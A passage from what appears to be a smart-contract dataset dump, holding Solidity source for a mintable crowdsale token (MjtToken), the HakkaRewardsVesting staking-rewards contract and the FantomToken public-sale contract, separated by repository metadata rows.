function mint(address receiver, uint amount) onlyMintAgent canMint public {
totalSupply = totalSupply.plus(amount);
balances[receiver] = balances[receiver].plus(amount);
// This will make the mint transaction apper in EtherScan.io
// We can remove this after there is a standardized minting event
Transfer(0, receiver, amount);
}
function setMintAgent(address addr, bool state) onlyOwner canMint public {
mintAgents[addr] = state;
MintingAgentChanged(addr, state);
}
modifier onlyMintAgent() {
// Only crowdsale contracts are allowed to mint new tokens
if(!mintAgents[msg.sender]) {
revert();
}
_;
}
modifier canMint() {
if(mintingFinished) {
revert();
}
_;
}
}
contract ReleasableToken is ERC20, Ownable {
address public releaseAgent;
bool public released = false;
mapping (address => bool) public transferAgents;
modifier canTransfer(address _sender) {
if(!released) {
if(!transferAgents[_sender]) {
revert();
}
}
_;
}
function setReleaseAgent(address addr) onlyOwner inReleaseState(false) public {
releaseAgent = addr;
}
function setTransferAgent(address addr, bool state) onlyOwner inReleaseState(false) public {
transferAgents[addr] = state;
}
function releaseTokenTransfer() public onlyReleaseAgent {
released = true;
}
modifier inReleaseState(bool releaseState) {
if(releaseState != released) {
revert();
}
_;
}
modifier onlyReleaseAgent() {
if(msg.sender != releaseAgent) {
revert();
}
_;
}
function transfer(address _to, uint _value) canTransfer(msg.sender) returns (bool success) {
// Call StandardToken.transfer()
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint _value) canTransfer(_from) returns (bool success) {
// Call StandardToken.transferForm()
return super.transferFrom(_from, _to, _value);
}
}
contract BurnableToken is StandardToken {
using SMathLib for uint;
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].minus(_value);
totalSupply = totalSupply.minus(_value);
Burn(burner, _value);
}
}
contract CrowdsaleTokenExt is ReleasableToken, MintableTokenExt, BurnableToken, UpgradeableToken {
event UpdatedTokenInformation(string newName, string newSymbol);
string public name;
string public symbol;
uint public decimals;
uint public minCap;
function CrowdsaleTokenExt(string _name, string _symbol, uint _initialSupply, uint _decimals, bool _mintable, uint _globalMinCap)
UpgradeableToken(msg.sender) {
// Create any address, can be transferred
// to team multisig via changeOwner(),
// also remember to call setUpgradeMaster()
owner = msg.sender;
name = _name;
symbol = _symbol;
totalSupply = _initialSupply;
decimals = _decimals;
minCap = _globalMinCap;
// Create initially all balance on the team multisig
balances[owner] = totalSupply;
if(totalSupply > 0) {
Minted(owner, totalSupply);
}
// No more new supply allowed after the token creation
if(!_mintable) {
mintingFinished = true;
if(totalSupply == 0) {
revert(); // Cannot create a token without supply and no minting
}
}
}
function releaseTokenTransfer() public onlyReleaseAgent {
super.releaseTokenTransfer();
}
function canUpgrade() public constant returns(bool) {
return released && super.canUpgrade();
}
function setTokenInformation(string _name, string _symbol) onlyOwner {
name = _name;
symbol = _symbol;
UpdatedTokenInformation(name, symbol);
}
}
contract MjtToken is CrowdsaleTokenExt {
uint public ownersProductCommissionInPerc = 5;
uint public operatorProductCommissionInPerc = 25;
event IndependentSellerJoined(address sellerWallet, uint amountOfTokens, address operatorWallet);
event OwnersProductAdded(address ownersWallet, uint amountOfTokens, address operatorWallet);
event OperatorProductCommissionChanged(uint _value);
event OwnersProductCommissionChanged(uint _value);
function setOperatorCommission(uint _value) public onlyOwner {
require(_value >= 0);
operatorProductCommissionInPerc = _value;
OperatorProductCommissionChanged(_value);
}
function setOwnersCommission(uint _value) public onlyOwner {
require(_value >= 0);
ownersProductCommissionInPerc = _value;
OwnersProductCommissionChanged(_value);
}
function independentSellerJoined(address sellerWallet, uint amountOfTokens, address operatorWallet) public onlyOwner canMint {
require(amountOfTokens > 100);
require(sellerWallet != address(0));
require(operatorWallet != address(0));
uint operatorCommission = amountOfTokens.divides(100).times(operatorProductCommissionInPerc);
uint sellerAmount = amountOfTokens.minus(operatorCommission);
if (operatorCommission > 0) {
mint(operatorWallet, operatorCommission);
}
if (sellerAmount > 0) {
mint(sellerWallet, sellerAmount);
}
IndependentSellerJoined(sellerWallet, amountOfTokens, operatorWallet);
}
function ownersProductAdded(address ownersWallet, uint amountOfTokens, address operatorWallet) public onlyOwner canMint {
require(amountOfTokens > 100);
require(ownersWallet != address(0));
require(operatorWallet != address(0));
uint ownersComission = amountOfTokens.divides(100).times(ownersProductCommissionInPerc);
uint operatorAmount = amountOfTokens.minus(ownersComission);
if (ownersComission > 0) {
mint(ownersWallet, ownersComission);
}
if (operatorAmount > 0) {
mint(operatorWallet, operatorAmount);
}
OwnersProductAdded(ownersWallet, amountOfTokens, operatorWallet);
}
function MjtToken(string _name, string _symbol, uint _initialSupply, uint _decimals, bool _mintable, uint _globalMinCap)
CrowdsaleTokenExt(_name, _symbol, _initialSupply, _decimals, _mintable, _globalMinCap) {}
}
| 217,659 | 14,066 |
c78b913555bcc44cb4bcf001b91a8525a87f5c26f113189b68e0ac1340aa803d
| 25,160 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/dd/ddcd120e3aa3ed45e85786e4543fabd78ab94f12_HakkaRewardsVesting.sol
| 3,762 | 13,962 |
pragma solidity 0.5.17;
library Math {
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
_owner = _msgSender();
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
function isOwner() public view returns (bool) {
return _msgSender() == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-call-value
(bool success,) = recipient.call.value(amount)("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract IRewardDistributionRecipient is Ownable {
address rewardDistribution;
function notifyRewardAmount(uint256 reward) external;
modifier onlyRewardDistribution() {
require(_msgSender() == rewardDistribution, "Caller is not reward distribution");
_;
}
function setRewardDistribution(address _rewardDistribution)
external
onlyOwner
{
rewardDistribution = _rewardDistribution;
}
}
contract LPTokenWrapper {
using SafeMath for uint256;
using SafeERC20 for IERC20;
IERC20 public stakeToken;
uint256 private _totalSupply;
mapping(address => uint256) private _balances;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function stake(uint256 amount) public {
_totalSupply = _totalSupply.add(amount);
_balances[msg.sender] = _balances[msg.sender].add(amount);
stakeToken.safeTransferFrom(msg.sender, address(this), amount);
}
function stakeFor(address to, uint256 amount) public {
_totalSupply = _totalSupply.add(amount);
_balances[to] = _balances[to].add(amount);
stakeToken.safeTransferFrom(msg.sender, address(this), amount);
}
function withdraw(uint256 amount) public {
_totalSupply = _totalSupply.sub(amount);
_balances[msg.sender] = _balances[msg.sender].sub(amount);
stakeToken.safeTransfer(msg.sender, amount);
}
}
contract HakkaRewardsVesting is LPTokenWrapper, IRewardDistributionRecipient {
IERC20 public hakka = IERC20(0xda803c6AD8078c51c5334B51aA4Cc3f440d56D5F);
VestingVault public vault = VestingVault(0x3792ee68E736b8214D4eDC91b1B3340B525e00BF);
uint256 public constant DURATION = 30 days;
uint256 public periodFinish = 0;
uint256 public rewardRate = 0;
uint256 public lastUpdateTime;
uint256 public rewardPerTokenStored;
mapping(address => uint256) public userRewardPerTokenPaid;
mapping(address => uint256) public rewards;
event RewardAdded(uint256 reward);
event Staked(address indexed user, uint256 amount);
event Withdrawn(address indexed user, uint256 amount);
event RewardPaid(address indexed user, uint256 reward);
modifier updateReward(address account) {
rewardPerTokenStored = rewardPerToken();
lastUpdateTime = lastTimeRewardApplicable();
if (account != address(0)) {
rewards[account] = earned(account);
userRewardPerTokenPaid[account] = rewardPerTokenStored;
}
_;
}
constructor(IERC20 _stakeToken) public {
stakeToken = _stakeToken;
hakka.safeApprove(address(vault), uint256(-1));
}
function lastTimeRewardApplicable() public view returns (uint256) {
return Math.min(block.timestamp, periodFinish);
}
function rewardPerToken() public view returns (uint256) {
if (totalSupply() == 0) {
return rewardPerTokenStored;
}
return
rewardPerTokenStored.add(lastTimeRewardApplicable()
.sub(lastUpdateTime)
.mul(rewardRate)
.mul(1e18)
.div(totalSupply()));
}
function earned(address account) public view returns (uint256) {
return
balanceOf(account)
.mul(rewardPerToken().sub(userRewardPerTokenPaid[account]))
.div(1e18)
.add(rewards[account]);
}
// stake visibility is public as overriding LPTokenWrapper's stake() function
function stake(uint256 amount) public updateReward(msg.sender) {
require(amount > 0, "Cannot stake 0");
super.stake(amount);
emit Staked(msg.sender, amount);
}
function stakeFor(address to, uint256 amount) public updateReward(to) {
require(amount > 0, "Cannot stake 0");
super.stakeFor(to, amount);
emit Staked(to, amount);
}
function withdraw(uint256 amount) public updateReward(msg.sender) {
require(amount > 0, "Cannot withdraw 0");
super.withdraw(amount);
emit Withdrawn(msg.sender, amount);
}
function exit() external {
withdraw(balanceOf(msg.sender));
getReward();
}
function getReward() public updateReward(msg.sender) {
uint256 reward = earned(msg.sender);
if (reward > 0) {
rewards[msg.sender] = 0;
vault.deposit(msg.sender, reward);
emit RewardPaid(msg.sender, reward);
}
}
function notifyRewardAmount(uint256 reward)
external
onlyRewardDistribution
updateReward(address(0))
{
if (block.timestamp >= periodFinish) {
rewardRate = reward.div(DURATION);
} else {
uint256 remaining = periodFinish.sub(block.timestamp);
uint256 leftover = remaining.mul(rewardRate);
rewardRate = reward.add(leftover).div(DURATION);
}
lastUpdateTime = block.timestamp;
periodFinish = block.timestamp.add(DURATION);
emit RewardAdded(reward);
}
// incase of airdrop token
function inCaseTokenGetsStuckPartial(IERC20 _TokenAddress, uint256 _amount) onlyOwner public {
require(_TokenAddress != hakka && _TokenAddress != stakeToken);
_TokenAddress.safeTransfer(msg.sender, _amount);
}
}
contract VestingVault {
function deposit(address to, uint256 amount) external;
}
| 314,136 | 14,067 |
e5d55055e80fc8db5c14cb820f495f6a9b68779869ef4b9aa21a15546e2cce3d
| 20,008 |
.sol
|
Solidity
| false |
142807941
|
alant/smartcontracts
|
696b31bc21ee194a703a65ff2a05cbe328d271f9
|
fantom/FantomToken.sol
| 4,749 | 19,655 |
pragma solidity ^0.4.23;
// ----------------------------------------------------------------------------
//
// Fantom Foundation FTM token public sale contract
//
// For details, please visit: http://fantom.foundation
//
//
// written by Alex Kampa - ak@sikoba.com
//
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
//
// SafeMath
//
// ----------------------------------------------------------------------------
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
}
// ----------------------------------------------------------------------------
//
// Owned
//
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
mapping(address => bool) public isAdmin;
event OwnershipTransferProposed(address indexed _from, address indexed _to);
event OwnershipTransferred(address indexed _from, address indexed _to);
event AdminChange(address indexed _admin, bool _status);
modifier onlyOwner {require(msg.sender == owner); _;}
modifier onlyAdmin {require(isAdmin[msg.sender]); _;}
constructor() public {
owner = msg.sender;
isAdmin[owner] = true;
}
function transferOwnership(address _newOwner) public onlyOwner {
require(_newOwner != address(0x0));
emit OwnershipTransferProposed(owner, _newOwner);
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
function addAdmin(address _a) public onlyOwner {
require(isAdmin[_a] == false);
isAdmin[_a] = true;
emit AdminChange(_a, true);
}
function removeAdmin(address _a) public onlyOwner {
require(isAdmin[_a] == true);
isAdmin[_a] = false;
emit AdminChange(_a, false);
}
}
// ----------------------------------------------------------------------------
//
// Wallet
//
// ----------------------------------------------------------------------------
contract Wallet is Owned {
address public wallet;
event WalletUpdated(address newWallet);
constructor() public {
wallet = owner;
}
function setWallet(address _wallet) public onlyOwner {
require(_wallet != address(0x0));
wallet = _wallet;
emit WalletUpdated(_wallet);
}
}
// ----------------------------------------------------------------------------
//
// ERC20Interface
//
// ----------------------------------------------------------------------------
contract ERC20Interface {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function totalSupply() public view returns (uint);
function balanceOf(address _owner) public view returns (uint balance);
function transfer(address _to, uint _value) public returns (bool success);
function transferFrom(address _from, address _to, uint _value) public returns (bool success);
function approve(address _spender, uint _value) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint remaining);
}
// ----------------------------------------------------------------------------
//
// ERC Token Standard #20
//
// ----------------------------------------------------------------------------
contract ERC20Token is ERC20Interface, Owned {
using SafeMath for uint;
uint public tokensIssuedTotal;
mapping(address => uint) balances;
mapping(address => mapping (address => uint)) allowed;
function totalSupply() public view returns (uint) {
return tokensIssuedTotal;
}
// Includes BOTH locked AND unlocked tokens
function balanceOf(address _owner) public view returns (uint) {
return balances[_owner];
}
function transfer(address _to, uint _amount) public returns (bool) {
require(_to != 0x0);
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
function approve(address _spender, uint _amount) public returns (bool) {
allowed[msg.sender][_spender] = _amount;
emit Approval(msg.sender, _spender, _amount);
return true;
}
function transferFrom(address _from, address _to, uint _amount) public returns (bool) {
require(_to != 0x0);
balances[_from] = balances[_from].sub(_amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(_from, _to, _amount);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint) {
return allowed[_owner][_spender];
}
}
// ----------------------------------------------------------------------------
//
// LockSlots
//
// ----------------------------------------------------------------------------
contract LockSlots is ERC20Token {
using SafeMath for uint;
uint public constant LOCK_SLOTS = 5;
mapping(address => uint[LOCK_SLOTS]) public lockTerm;
mapping(address => uint[LOCK_SLOTS]) public lockAmnt;
mapping(address => bool) public mayHaveLockedTokens;
event RegisteredLockedTokens(address indexed account, uint indexed idx, uint tokens, uint term);
function registerLockedTokens(address _account, uint _tokens, uint _term) internal returns (uint idx) {
require(_term > now, "lock term must be in the future");
// find a slot (clean up while doing this)
// use either the existing slot with the exact same term,
// of which there can be at most one, or the first empty slot
idx = 9999;
uint[LOCK_SLOTS] storage term = lockTerm[_account];
uint[LOCK_SLOTS] storage amnt = lockAmnt[_account];
for (uint i; i < LOCK_SLOTS; i++) {
if (term[i] < now) {
term[i] = 0;
amnt[i] = 0;
if (idx == 9999) idx = i;
}
if (term[i] == _term) idx = i;
}
// fail if no slot was found
require(idx != 9999, "registerLockedTokens: no available slot found");
// register locked tokens
if (term[idx] == 0) term[idx] = _term;
amnt[idx] = amnt[idx].add(_tokens);
mayHaveLockedTokens[_account] = true;
emit RegisteredLockedTokens(_account, idx, _tokens, _term);
}
// public view functions
function lockedTokens(address _account) public view returns (uint) {
if (!mayHaveLockedTokens[_account]) return 0;
return pNumberOfLockedTokens(_account);
}
function unlockedTokens(address _account) public view returns (uint) {
return balances[_account].sub(lockedTokens(_account));
}
function isAvailableLockSlot(address _account, uint _term) public view returns (bool) {
if (!mayHaveLockedTokens[_account]) return true;
if (_term < now) return true;
uint[LOCK_SLOTS] storage term = lockTerm[_account];
for (uint i; i < LOCK_SLOTS; i++) {
if (term[i] < now || term[i] == _term) return true;
}
return false;
}
// internal and private functions
function unlockedTokensInternal(address _account) internal returns (uint) {
// updates mayHaveLockedTokens if necessary
if (!mayHaveLockedTokens[_account]) return balances[_account];
uint locked = pNumberOfLockedTokens(_account);
if (locked == 0) mayHaveLockedTokens[_account] = false;
return balances[_account].sub(locked);
}
function pNumberOfLockedTokens(address _account) private view returns (uint locked) {
uint[LOCK_SLOTS] storage term = lockTerm[_account];
uint[LOCK_SLOTS] storage amnt = lockAmnt[_account];
for (uint i; i < LOCK_SLOTS; i++) {
if (term[i] >= now) locked = locked.add(amnt[i]);
}
}
}
// ----------------------------------------------------------------------------
//
// FantomIcoDates
//
// ----------------------------------------------------------------------------
contract FantomIcoDates is Owned {
uint public dateMainStart = 1529053200; // 15-JUN-2018 09:00 GMT + 0
uint public dateMainEnd = 1529658000; // 22-JUN-2018 09:00 GMT + 0
uint public constant DATE_LIMIT = 1529658000 + 180 days;
event IcoDateUpdated(uint id, uint unixts);
// check dates
modifier checkDateOrder {
_ ;
require (dateMainStart < dateMainEnd) ;
require (dateMainEnd < DATE_LIMIT) ;
}
constructor() public checkDateOrder() {
require(now < dateMainStart);
}
// set ico dates
function setDateMainStart(uint _unixts) public onlyOwner checkDateOrder {
require(now < _unixts && now < dateMainStart);
dateMainStart = _unixts;
emit IcoDateUpdated(1, _unixts);
}
function setDateMainEnd(uint _unixts) public onlyOwner checkDateOrder {
require(now < _unixts && now < dateMainEnd);
dateMainEnd = _unixts;
emit IcoDateUpdated(2, _unixts);
}
// where are we? Passed first day or not?
function isMainFirstDay() public view returns (bool) {
if (now > dateMainStart && now <= dateMainStart + 1 days) return true;
return false;
}
function isMain() public view returns (bool) {
if (now > dateMainStart && now < dateMainEnd) return true;
return false;
}
}
// ----------------------------------------------------------------------------
//
// Fantom public token sale
//
// ----------------------------------------------------------------------------
contract FantomToken is ERC20Token, Wallet, LockSlots, FantomIcoDates {
// Utility variable
uint constant E18 = 10**18;
// Basic token data
string public constant name = "Fantom Token";
string public constant symbol = "FTM";
uint8 public constant decimals = 18;
// Token number of possible tokens in existance
uint public constant MAX_TOTAL_TOKEN_SUPPLY = 3175000000 * E18;
// crowdsale parameters
// Opening ETH Rate: USD$463.28
// Therefore, 1 ETH = 11582 FTM
uint public tokensPerEth = 11582;
// USD$2,000,000/463.28 = 4317.043668 ether
// 4317.043668 ether/2551 addresses = 1.692294656 ether per address for the first 24 hours
uint public constant MINIMUM_CONTRIBUTION = 0.2 ether;
uint public constant MAXIMUM_FIRST_DAY_CONTRIBUTION = 1.692294656 ether;
uint public constant TOKEN_MAIN_CAP = 50000000 * E18;
bool public tokensTradeable;
// whitelisting
mapping(address => bool) public whitelist;
uint public numberWhitelisted;
// track main sale
uint public tokensMain;
mapping(address => uint) public balancesMain;
uint public totalEthContributed;
mapping(address => uint) public ethContributed;
// tracking tokens minted
uint public tokensMinted;
mapping(address => uint) public balancesMinted;
mapping(address => mapping(uint => uint)) public balancesMintedByType;
// migration variable
bool public isMigrationPhaseOpen;
// Events ---------------------------------------------
event UpdatedTokensPerEth(uint tokensPerEth);
event Whitelisted(address indexed account, uint countWhitelisted);
event TokensMinted(uint indexed mintType, address indexed account, uint tokens, uint term);
event RegisterContribution(address indexed account, uint tokensIssued, uint ethContributed, uint ethReturned);
event TokenExchangeRequested(address indexed account, uint tokens);
// Basic Functions ------------------------------------
constructor() public {}
function () public payable {
buyTokens();
}
// Information functions
function availableToMint() public view returns (uint) {
return MAX_TOTAL_TOKEN_SUPPLY.sub(TOKEN_MAIN_CAP).sub(tokensMinted);
}
function firstDayTokenLimit() public view returns (uint) {
return ethToTokens(MAXIMUM_FIRST_DAY_CONTRIBUTION);
}
function ethToTokens(uint _eth) public view returns (uint tokens) {
tokens = _eth.mul(tokensPerEth);
}
function tokensToEth(uint _tokens) public view returns (uint eth) {
eth = _tokens / tokensPerEth;
}
// Admin functions
function addToWhitelist(address _account) public onlyAdmin {
pWhitelist(_account);
}
function addToWhitelistMultiple(address[] _addresses) public onlyAdmin {
for (uint i; i < _addresses.length; i++) {
pWhitelist(_addresses[i]);
}
}
function pWhitelist(address _account) internal {
if (whitelist[_account]) return;
whitelist[_account] = true;
numberWhitelisted = numberWhitelisted.add(1);
emit Whitelisted(_account, numberWhitelisted);
}
// Owner functions ------------------------------------
function updateTokensPerEth(uint _tokens_per_eth) public onlyOwner {
require(now < dateMainStart);
tokensPerEth = _tokens_per_eth;
emit UpdatedTokensPerEth(tokensPerEth);
}
// Only owner can make tokens tradable at any time, or if the date is
// greater than the end of the mainsale date plus 20 weeks, allow
// any caller to make tokensTradeable.
function makeTradeable() public {
require(msg.sender == owner || now > dateMainEnd + 20 weeks);
tokensTradeable = true;
}
function openMigrationPhase() public onlyOwner {
require(now > dateMainEnd);
isMigrationPhaseOpen = true;
}
// Token minting --------------------------------------
function mintTokens(uint _mint_type, address _account, uint _tokens) public onlyOwner {
pMintTokens(_mint_type, _account, _tokens, 0);
}
function mintTokensMultiple(uint _mint_type, address[] _accounts, uint[] _tokens) public onlyOwner {
require(_accounts.length == _tokens.length);
for (uint i; i < _accounts.length; i++) {
pMintTokens(_mint_type, _accounts[i], _tokens[i], 0);
}
}
function mintTokensLocked(uint _mint_type, address _account, uint _tokens, uint _term) public onlyOwner {
pMintTokens(_mint_type, _account, _tokens, _term);
}
function mintTokensLockedMultiple(uint _mint_type, address[] _accounts, uint[] _tokens, uint[] _terms) public onlyOwner {
require(_accounts.length == _tokens.length);
require(_accounts.length == _terms.length);
for (uint i; i < _accounts.length; i++) {
pMintTokens(_mint_type, _accounts[i], _tokens[i], _terms[i]);
}
}
function pMintTokens(uint _mint_type, address _account, uint _tokens, uint _term) private {
require(whitelist[_account]);
require(_account != 0x0);
require(_tokens > 0);
require(_tokens <= availableToMint(), "not enough tokens available to mint");
require(_term == 0 || _term > now, "either without lock term, or lock term must be in the future");
// register locked tokens (will throw if no slot is found)
if (_term > 0) registerLockedTokens(_account, _tokens, _term);
// update
balances[_account] = balances[_account].add(_tokens);
balancesMinted[_account] = balancesMinted[_account].add(_tokens);
balancesMintedByType[_account][_mint_type] = balancesMintedByType[_account][_mint_type].add(_tokens);
tokensMinted = tokensMinted.add(_tokens);
tokensIssuedTotal = tokensIssuedTotal.add(_tokens);
// log event
emit Transfer(0x0, _account, _tokens);
emit TokensMinted(_mint_type, _account, _tokens, _term);
}
// Main sale ------------------------------------------
function buyTokens() private {
require(isMain());
require(msg.value >= MINIMUM_CONTRIBUTION);
require(whitelist[msg.sender]);
uint tokens_available = TOKEN_MAIN_CAP.sub(tokensMain);
// adjust tokens_available on first day, if necessary
if (isMainFirstDay()) {
uint tokens_available_first_day = firstDayTokenLimit().sub(balancesMain[msg.sender]);
if (tokens_available_first_day < tokens_available) {
tokens_available = tokens_available_first_day;
}
}
require (tokens_available > 0);
uint tokens_requested = ethToTokens(msg.value);
uint tokens_issued = tokens_requested;
uint eth_contributed = msg.value;
uint eth_returned;
if (tokens_requested > tokens_available) {
tokens_issued = tokens_available;
eth_returned = tokensToEth(tokens_requested.sub(tokens_available));
eth_contributed = msg.value.sub(eth_returned);
}
balances[msg.sender] = balances[msg.sender].add(tokens_issued);
balancesMain[msg.sender] = balancesMain[msg.sender].add(tokens_issued);
tokensMain = tokensMain.add(tokens_issued);
tokensIssuedTotal = tokensIssuedTotal.add(tokens_issued);
ethContributed[msg.sender] = ethContributed[msg.sender].add(eth_contributed);
totalEthContributed = totalEthContributed.add(eth_contributed);
// ether transfers
if (eth_returned > 0) msg.sender.transfer(eth_returned);
wallet.transfer(eth_contributed);
// log
emit Transfer(0x0, msg.sender, tokens_issued);
emit RegisterContribution(msg.sender, tokens_issued, eth_contributed, eth_returned);
}
// Token exchange / migration to new platform ---------
function requestTokenExchangeMax() public {
requestTokenExchange(unlockedTokensInternal(msg.sender));
}
function requestTokenExchange(uint _tokens) public {
require(isMigrationPhaseOpen);
require(_tokens > 0 && _tokens <= unlockedTokensInternal(msg.sender));
balances[msg.sender] = balances[msg.sender].sub(_tokens);
tokensIssuedTotal = tokensIssuedTotal.sub(_tokens);
emit Transfer(msg.sender, 0x0, _tokens);
emit TokenExchangeRequested(msg.sender, _tokens);
}
// ERC20 functions -------------------
function transferAnyERC20Token(address _token_address, uint _amount) public onlyOwner returns (bool success) {
return ERC20Interface(_token_address).transfer(owner, _amount);
}
function transfer(address _to, uint _amount) public returns (bool success) {
require(tokensTradeable);
require(_amount <= unlockedTokensInternal(msg.sender));
return super.transfer(_to, _amount);
}
function transferFrom(address _from, address _to, uint _amount) public returns (bool success) {
require(tokensTradeable);
require(_amount <= unlockedTokensInternal(_from));
return super.transferFrom(_from, _to, _amount);
}
function transferMultiple(address[] _addresses, uint[] _amounts) external {
require(_addresses.length <= 100);
require(_addresses.length == _amounts.length);
// do the transfers
for (uint j; j < _addresses.length; j++) {
transfer(_addresses[j], _amounts[j]);
}
}
}
| 242,598 | 14,068 |
